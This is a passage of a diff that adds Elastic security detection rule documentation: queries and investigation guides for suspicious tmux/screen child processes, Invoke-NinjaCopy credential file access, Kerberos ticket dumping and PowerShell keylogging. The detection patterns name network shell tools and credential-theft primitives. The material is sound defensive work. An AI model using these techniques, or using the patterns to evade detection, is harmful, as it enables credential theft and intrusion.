host or user to identify any patterns or additional suspicious activities that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System administrators or developers may use tmux or screen to run legitimate maintenance scripts or development tools like Java, PHP, or Perl. To manage these, create exceptions for known scripts or processes that are regularly executed by trusted users. +- Automated monitoring or testing tools might utilize tmux or screen to execute network diagnostic commands such as ping or nmap. Identify and whitelist these tools if they are part of routine operations. +- Some backup or data transfer processes might use wget or curl to fetch resources. Verify the source and destination of these processes and exclude them if they are part of scheduled tasks. +- Developers might use tmux or screen to run interactive sessions with languages like Ruby or Lua for debugging purposes. Establish a list of trusted users and exclude their sessions from triggering alerts. +- In environments where remote management is common, tools like ngrok might be used for legitimate purposes. Ensure that these tools are configured securely and exclude them if they are part of authorized workflows. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being initiated by tmux or screen, especially those matching the query criteria. +- Conduct a thorough review of the affected system's process tree and logs to identify any additional malicious activity or persistence mechanisms. +- Reset credentials and review access permissions for any accounts that were active on the affected system to prevent unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement network monitoring to detect any unusual outbound connections or data exfiltration attempts from the affected host. +- Update and enhance detection rules to include additional suspicious command patterns or behaviors observed during the investigation. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and + process.parent.name in ("screen", "tmux") and process.name like ( + "nmap", "nc", "ncat", "netcat", "socat", "nc.openbsd", "ngrok", "ping", "java", "php*", "perl", "ruby", "lua*", + "openssl", "telnet", "wget", "curl", "id" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-invoke-ninjacopy-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-invoke-ninjacopy-script.asciidoc new file mode 100644 index 0000000000..c86b4f00b3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-invoke-ninjacopy-script.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-20-powershell-invoke-ninjacopy-script]] +=== PowerShell Invoke-NinjaCopy script + +Detects PowerShell script block content containing Invoke-NinjaCopy or related Stealth* functions used for direct volume file access. Attackers use NinjaCopy to read locked system files such as NTDS.dit or registry hives for credential dumping. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PowerShell Invoke-NinjaCopy script* + + +This rule identifies PowerShell script block content referencing `Invoke-NinjaCopy` or related `Stealth*` helper functions. These functions are commonly used to perform direct volume file reads that can bypass normal file locking and access controls, enabling copies of sensitive credential stores (for example, `NTDS.dit` or registry hives like `SAM`, `SYSTEM`, and `SECURITY`). The presence of these strings can represent tool staging (definition/import) or active execution, so focus on determining intent, targeted artifacts, output locations, and surrounding activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Triage the alert context: + - Identify the affected `host.name` / `host.id` and the account (`user.name`, `user.domain`, `user.id`). + - Determine whether the host is expected to store credential material (for example, a directory services server) and whether the user is expected to perform privileged maintenance on it. + - Use the alert time (`@timestamp`) to define an initial correlation window and expand as needed. + +- Analyze `powershell.file.script_block_text` to understand what was staged or executed: + - Determine whether the content is primarily function definitions/module code (tool load) or includes direct invocation of `Invoke-NinjaCopy` and `Stealth*` functions. + - Extract any referenced source artifacts (for example, `NTDS.dit` or registry hives) and any destination/output file names, directories, or remote paths. + - Look for indicators of direct volume access, such as device/volume path handling, low-level file handle usage, delegates, or logic intended to bypass normal file locking. + - Identify follow-on logic that would support collection and handling (copy loops, chunking, archiving, encoding, renaming, or cleanup). + +- Use script block metadata to reconstruct full content when logged in multiple parts: + - Pivot on `powershell.file.script_block_id` for the same `host.id`. + - Order fragments by `powershell.sequence` and confirm the final part count matches `powershell.total`. + - If parts are missing, treat the content as incomplete and continue scoping for additional fragments. + - Preserve the reconstructed content and the original fragment events for case evidence. + +- Determine script provenance when file context is present: + - Review `file.path` / `file.name` (and `file.directory` if populated) to identify where the script was executed from. + - Treat execution from user-writable or temporary locations as higher risk, and scope for other executions originating from the same path or directory on the host. + - If file context is not present, consider interactive execution or remote delivery and expand scoping to other script blocks from the same `host.id` and `user.id` around the alert time. + +- Scope for related PowerShell activity on the endpoint: + - Review additional Script Block Logging events for the same `host.id` and `user.id` around the alert time to identify staging, retries, and post-collection actions. + - Use `powershell.file.script_block_length` to prioritize larger blocks that may contain full tooling, embedded functions, or post-processing logic. + - Prioritize script blocks that reference the same artifact names or output locations observed in the matched content. + +- Assess prevalence across the environment: + - Search for the same keywords within `powershell.file.script_block_text` (for example, `Invoke-NinjaCopy` and `StealthOpenFile`) across other hosts to identify broader deployment. + - If `file.path` or `file.name` is present, use it to identify reuse of the same script file across multiple hosts or users. + +- Correlate with adjacent telemetry (if available) using `host.name`, `host.id`, `user.id`, and the alert time: + - Process activity to identify the PowerShell host process and the parent/source that initiated it, and whether execution aligns with expected administrative workflows. + - File activity to confirm whether copies of targeted artifacts were created, where they were written, and whether they were later archived or moved. + - Network activity to identify outbound transfers or remote access shortly after script execution. + - Authentication activity to identify suspicious logons, privilege use, or lateral movement following potential credential material collection. + +- Determine impact: + - If the script indicates attempted access to directory services database files or registry hives, treat this as potential credential exposure until corroborating telemetry shows otherwise and respond accordingly. + + +*False positive analysis* + + +- Approved security testing, adversary emulation, or controlled red team activity that includes NinjaCopy-derived code. +- Authorized incident response, forensic acquisition, or recovery workflows that require copying locked system files. +- Administrative tooling that embeds similar helper functions for troubleshooting or backup operations (uncommon); validate ownership, expected hosts, and change control. + + +*Response and remediation* + + +- If the activity is not expected or cannot be attributed to an approved task: + - Isolate the affected host to prevent additional collection, staging, or lateral movement. + - Take immediate steps to prevent further use of the implicated account (`user.id`) until legitimacy is confirmed. + +- Preserve and collect evidence: + - Save the full `powershell.file.script_block_text` and reconstruct missing fragments using `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total` where applicable. + - Record `@timestamp`, `host.name`, `host.id`, `user.name`, `user.domain`, `user.id`, and any available `file.path` / `file.name` context. + - Identify any destination/output locations referenced in the script content and preserve related artifacts (copied files, archives, temporary staging). + +- Assess credential exposure and potential follow-on activity: + - Use available endpoint telemetry to determine whether credential stores were successfully copied or staged. + - If credential stores may have been accessed or copied, follow your credential containment process and prioritize rotation of impacted and privileged credentials. + +- Eradicate and scope: + - Remove unauthorized scripts and supporting artifacts identified from `file.path` / `file.name` and from any output locations referenced in the script. + - Hunt for additional NinjaCopy-related script blocks across endpoints and for subsequent suspicious authentication activity associated with the same user and host context. + +- Recover and harden: + - Restore affected systems as needed and validate that no persistence remains. + - Reduce recurrence by tightening administrative scripting governance for PowerShell (least privilege, controlled script deployment locations, and application control where feasible) and by restricting access to systems that store credential material. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "StealthReadFile" or + "StealthReadFileAddr" or + "StealthCloseFileDelegate" or + "StealthOpenFile" or + "StealthCloseFile" or + "StealthReadFile" or + "Invoke-NinjaCopy" + ) + and not user.id : "S-1-5-18" + and not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ +* Sub-technique: +** Name: Cached Domain Credentials +** ID: T1003.005 +** Reference URL: https://attack.mitre.org/techniques/T1003/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-kerberos-ticket-dump.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-kerberos-ticket-dump.asciidoc new file mode 100644 index 0000000000..8508e689c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-kerberos-ticket-dump.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-20-powershell-kerberos-ticket-dump]] +=== PowerShell Kerberos Ticket Dump + +Detects PowerShell script block content that references LSA Kerberos ticket retrieval APIs and Kerb* message types. Attackers dump Kerberos tickets from memory to reuse credentials and move laterally. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/MzHmO/PowershellKerberos/blob/main/dumper.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PowerShell Kerberos Ticket Dump* + + +This alert identifies PowerShell script block content referencing the LSA Kerberos authentication package API `LsaCallAuthenticationPackage` along with Kerberos ticket cache query and ticket retrieval message types. This pattern is consistent with tooling that enumerates, extracts, or manipulates Kerberos tickets from memory, which can enable credential reuse and lateral movement. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Reconstruct and preserve the full script content: + - Use `powershell.file.script_block_id` to gather all related fragments and order them by `powershell.sequence` up to `powershell.total`. + - Preserve the reconstructed content from `powershell.file.script_block_text` for case notes and to support environment-wide scoping. + - Use `powershell.file.script_block_length` to understand whether the content is a full implementation, a loader/stager, or a small inline snippet that may be part of a larger sequence of script blocks. + +- Identify the specific Kerberos capability referenced: + - Review `powershell.file.script_block_text` and note which message types are present. Use this to prioritize severity and intent: + - Cache enumeration indicators: `KerbQueryTicketCacheMessage`, `KerbQueryTicketCacheExMessage`, `KerbQueryTicketCacheEx2Message` + - Ticket retrieval/export indicators: `KerbRetrieveTicketMessage`, `KerbRetrieveEncodedTicketMessage` + - Ticket-related decryption indicators: `KerbDecryptDataMessage` + - Determine whether the script only defines interop types/functions or includes invocation logic that executes ticket operations and processes results. + - Look for signs that output is being prepared for reuse or transfer (e.g., structured serialization, encoding, or explicit output handling). If `file.path` is populated, assess whether the script is associated with a specific on-disk source. + +- Validate execution context and plausibility: + - Review `@timestamp`, `host.name`/`host.id`, and `user.name`/`user.domain`/`user.id` to confirm where and under which identity the activity occurred. + - Assess whether the user and host context align with expected administrative or troubleshooting activity in your environment. Unexpected use by standard users, or on endpoints where administrative scripting is uncommon, should be treated as higher risk. + - If `file.path`/`file.name` (and `file.directory`, if present) indicate an on-disk origin, evaluate whether the location is consistent with approved scripts. Treat user-writable and temporary locations as higher risk, especially when combined with ticket retrieval/decryption indicators. + +- Scope for additional PowerShell activity on the same host and user: + - Pivot on `host.id` and `user.id` to review other script block activity near `@timestamp` to identify precursors (staging, discovery) and follow-on actions (additional credential access attempts, lateral movement preparation). + - Check for repeated execution patterns: multiple script blocks with similar content, repeated `powershell.file.script_block_id` occurrences, or the same `file.name` appearing multiple times in a short window. + +- Assess prevalence across the environment: + - Search for the same or highly similar `powershell.file.script_block_text` content (or distinctive substrings) across hosts to determine whether this is isolated or widespread. + - If `file.name` is present, look for the same script name used across multiple hosts. Consistent, predictable use may indicate managed tooling; sporadic or single-host use may indicate targeted activity. + +- Correlate with adjacent telemetry (when available): + - Process telemetry: identify the PowerShell execution instance that produced the script block and determine the initiating process to establish whether execution was interactive, scheduled, or launched by another application. + - File telemetry: review for newly created or modified artifacts near `@timestamp` that could store extracted ticket material or related output. + - Network and authentication telemetry: review subsequent outbound activity and authentication attempts associated with the same host and/or user to identify potential ticket reuse and rapid lateral movement following the script execution. + + +*False positive analysis* + + +- Some legitimate Kerberos troubleshooting and diagnostics workflows can reference LSA Kerberos APIs to query ticket cache state. Validate whether the script source (`file.path`/`file.name`), execution context (`user.id`, `host.id`), and timing align with an approved operational process. +- Administrative automation or security tooling may include Kerberos interop code for visibility or health checks. Benign usage is typically repeatable (consistent script content, consistent script origin, predictable execution patterns) and tied to known administrative accounts. +- Prioritize deeper investigation when the activity is one-off, appears only on a single host, is executed by unexpected users, or includes retrieval/decryption indicators rather than simple cache query logic. + + +*Response and remediation* + + +- If the activity is unexpected or cannot be validated as authorized: + - Isolate the affected host to reduce the risk of credential theft and lateral movement. + - Preserve evidence for scoping: retain the reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, host identifiers, user identifiers, and any on-disk script context (`file.path`, `file.name`). + - Treat as a potential credential access incident and initiate environment-wide scoping for similar script content and related activity from the same user and host. + +- If Kerberos ticket theft or export is confirmed: + - Remove the script source (as identified by `file.path`/`file.name`) and any related artifacts identified during triage. + - Reset or rotate credentials for impacted accounts and review privileged access paths associated with the affected host and user. + - Investigate for lateral movement following `@timestamp`, identify affected systems, and remediate access pathways used. + +- Post-incident hardening: + - Ensure PowerShell script block logging coverage and retention support reconstruction and historical scoping. + - Review administrative scripting controls and monitoring for unauthorized use of authentication-package APIs in PowerShell, and align execution permissions with least-privilege practices. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "LsaCallAuthenticationPackage" and + ( + "KerbRetrieveEncodedTicketMessage" or + "KerbQueryTicketCacheMessage" or + "KerbQueryTicketCacheExMessage" or + "KerbQueryTicketCacheEx2Message" or + "KerbRetrieveTicketMessage" or + "KerbDecryptDataMessage" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-keylogging-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-keylogging-script.asciidoc new file mode 100644 index 0000000000..1390c2d657 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-keylogging-script.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-20-powershell-keylogging-script]] +=== PowerShell Keylogging Script + +Detects PowerShell script block content that references Win32 keylogging primitives such as key state polling or low-level input hooks. Adversaries use keylogging to capture credentials and other sensitive user input. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-Keystrokes.ps1 +* https://github.com/MojtabaTajik/FunnyKeylogger/blob/master/FunnyLogger.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Keylogging Script* + + + +*Possible investigation steps* + + +- Does the preserved script content show active keylogging intent rather than inert reference text? + - Focus: the preserved script text on the alert and any associated `file.path`. + - Implication: supports concern when the content invokes polling loops, hook registration, window-labeling routines, output formatting, or commodity functions such as "Get-Keystrokes"; carries less weight when the text is clearly documentation, training content, or inert reference with no adjacent execution evidence. + +- Does reconstructing the full script reveal logging, labeling, staging, or transmission behavior that changes urgency? + - Why: script block logging can split one script across multiple records; later fragments often reveal output paths, timer loops, or exfiltration. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `powershell.file.script_block_length` to rebuild adjacent fragments, then the reconstructed content for foreground-window labeling, output files, archives, remote destinations, or cleanup logic. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: supports active collection when reconstruction shows continuous polling, registered hooks, keystroke formatting, saved logs, compression, upload logic, or cleanup after collection. + +- Does the user-host pairing fit recognized accessibility tooling, kiosk automation, or security assessment? + - Focus: the `user.id` and `host.id` pairing, whether the host role supports input-capture tooling, and any prior alert recurrence for the same pairing and launcher. + - Hint: if workflow documentation is unavailable, require the same pairing and launcher to recur across prior alerts. + - Implication: escalate when the user has no recurring pattern of input capture, the host handles privileged workflows, or the timing falls outside scheduled testing. + +- Can you recover the PowerShell process and explain how it was launched? + - Focus: the matching process start event via `process.pid` and `host.id`, recovering `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the process event cannot be found, keep later file, network, and authentication review bounded to the same host and alert time. + - Implication: supports unauthorized use when the recovered process is launched by a document, browser, chat client, scheduled task, remote session, or user-writable script path. + +- Do file events show keystroke logs, staged archives, or renamed artifacts? + - Focus: file events for the same `process.entity_id`, with attention to `file.path`, `file.extension`, `file.Ext.header_bytes`, and `file.Ext.original.path` when logs or archives are renamed for staging. + - Implication: supports active collection when log files, archives, or renamed artifacts appear in user-writable or hidden paths, or when header bytes do not match the visible extension. + +- Do network events show credential exfiltration, webhook delivery, or remote staging? + - Focus: network events for the same `process.entity_id`, separating DNS `lookup_result` events (`dns.question.name`, `dns.resolved_ip`) from connection events (`destination.ip`, `destination.port`). + - Implication: suggests exfiltration when the process reaches rare public destinations, messaging or webhook services, or cloud storage. Missing network telemetry is unresolved, not benign. + +- Do authentication events show the session came from an unusual origin or that captured credentials were reused? + - Why: keylogging becomes higher priority when post-capture authentication shows new logons or explicit-credential use that could reflect captured input being used. + - Focus: if `process.Ext.authentication_id` was recovered, bridge to `winlog.event_data.TargetLogonId` for session origin (`source.ip`, `winlog.event_data.AuthenticationPackageName`). Also check post-alert 4624 or 4648 events on the same `host.id` for accounts that do not match the alert user. + - Hint: "4648" explicit-credential events do not use `winlog.event_data.TargetLogonId`; search `winlog.event_data.SubjectLogonId` instead. + - Implication: suggests captured-input abuse when the session has an unexpected origin or when later logons show new remote, privileged, or explicit-credential activity. + +- If the local evidence stays suspicious, do related alerts suggest broader compromise? + - Focus: related alerts for the same `user.id` to find repeated collection or defense-evasion activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for the same `host.id` for persistence, repeated collection, or renamed input-capture variants. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when either view shows collection, defense-evasion, persistence, or transfer activity outside the expected workflow; keep the case local when surrounding alerts stay confined to one recognized workflow. + +- Escalate when script intent, launch context, artifacts, network, or authentication evidence align on unauthorized input capture; close only when all evidence supports a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Accessibility, kiosk, security-testing, or malware-analysis workflows can legitimately trigger this rule. Confirm by matching the same `process.executable`, signer, and `host.id` pattern across prior alerts or against workflow records. +- Before creating an exception, validate that the same `user.id`, `host.id`, `file.path`, and a stable `powershell.file.script_block_text` substring recur across prior alerts. Avoid exceptions on hook-function strings alone, `user.name` alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the script content, recovered launch chain, user-host scope, and any benign artifact or destination pattern that proved the confirmed workflow. Create an exception only if the same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the reconstructed script content, recovered `process.entity_id`, related `file.path` artifacts, any `dns.question.name` or `destination.ip` values linked to transfer, and authentication events around the alert. Apply reversible containment such as session restrictions or temporary destination blocking. Escalate to host isolation only when active collection, credential reuse, or transfer evidence is strong and the host role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.parent.executable`, written `file.path` artifacts, any confirmed `dns.question.name` or `destination.ip` values, and logon session details before initiating response actions. Prefer host isolation over process termination for initial containment when the asset can tolerate it, then contain affected accounts, block malicious destinations and scripts, and terminate recovered processes only after evidence capture. +- If keystroke logs, archives, or staging artifacts are identified, preserve them as sensitive evidence. Review related users and hosts for the same `powershell.file.script_block_text` content, `file.path` pattern, or `dns.question.name` destinations before eradicating. Then remove the artifacts and any persistence or automation identified during reconstruction or host-scoping. +- If follow-on authentication review suggests captured credentials were used, prioritize credential resets for the affected user and any additional accounts identified during the post-alert authentication timeline, then hunt for related sessions or privilege changes on the same host and other assets. +- After containment, restrict the execution path that allowed the script to run, such as tightening PowerShell execution policies or script-path allowlists. Retain PowerShell script block logging and related endpoint telemetry. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + ( + powershell.file.script_block_text : (GetAsyncKeyState or NtUserGetAsyncKeyState or GetKeyboardState or "Get-Keystrokes") or + powershell.file.script_block_text : ( + (SetWindowsHookEx or SetWindowsHookExA or SetWindowsHookExW or NtUserSetWindowsHookEx) and + ( + GetForegroundWindow or GetWindowTextA or GetWindowTextW or "WM_KEYBOARD_LL" or "WH_MOUSE_LL" or + "WH_KEYBOARD_LL" or "LowLevelKeyboardProc" or "CallNextHookEx" + ) + ) + ) and not user.id : "S-1-5-18" and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Sub-technique: +** Name: Keylogging +** ID: T1056.001 +** Reference URL: https://attack.mitre.org/techniques/T1056/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-obfuscation-via-negative-index-string-reversal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-obfuscation-via-negative-index-string-reversal.asciidoc new file mode 100644 index 0000000000..9e00a11db0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-obfuscation-via-negative-index-string-reversal.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-20-powershell-obfuscation-via-negative-index-string-reversal]] +=== PowerShell Obfuscation via Negative Index String Reversal + +Detects PowerShell scripts that uses negative index ranges (for example, $var[-1..0]) to reverse strings or arrays and rebuild content at runtime. Attackers use index reversal to reconstruct hidden commands or payloads and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> 